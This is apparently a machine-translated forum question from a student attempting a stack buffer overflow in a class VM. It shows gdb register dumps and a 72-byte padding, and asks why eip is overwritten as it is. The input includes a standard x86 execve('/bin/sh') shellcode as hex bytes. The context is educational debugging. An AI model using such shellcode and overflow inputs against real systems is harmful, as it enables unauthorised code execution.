所以我不得不为分配做一个缓冲区溢出,我觉得我很接近。我必须注意,我的老师已经设置了一个 VM 供我们使用,如果我们能够将 shellcode 放入堆栈的返回地址,它将在堆栈上执行。我不需要循环回到我的缓冲区或其中任何一个。我的理解是,我想要覆盖并将我的 shellcode 放入的寄存器是eip
. 我从这里得到的信息https://greyhat.gatech.edu/wiki/index.php?title=Stack_Buffer_Overflow
我发现如果我s1[64]
用 72 个字符填充缓冲区,我会得到一个段错误:Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
当我让 gdb 打印出我得到的寄存器的值时:
ebx 0xb7fc8000 -1208188928
esp 0xbffff600 0xbffff600
ebp 0x0 0x0
esi 0x0 0
edi 0x80484c0 134513856
eip 0x0 0x0 <------ Clearly i've messed up eip
如果我用少一个字符(即 71)填充缓冲区,程序会成功执行,所以我觉得 72 必须以某种方式成为一个神奇的数字。所以我尝试s1
用 72 个填充字符和我的 shellcode 填充。这次我得到了一个不同的段错误:
Program received signal SIGSEGV, Segmentation fault.
0x080486f5 in main () at badcopyTester2.c:61
和 gdb 显示eip
充满了0x080486f5
为什么/如何eip
得到这个值?我的shellcode不应该在那里吗?此外,无论我在 72 个填充字符的末尾放什么,eip
总是用相同0x080486f5
的 . 的输入
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
和
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
给出完全相同的段错误。
再一次,我觉得我已经很接近了,因为我发现了如何eip
清除但被卡住了。谢谢你的帮助!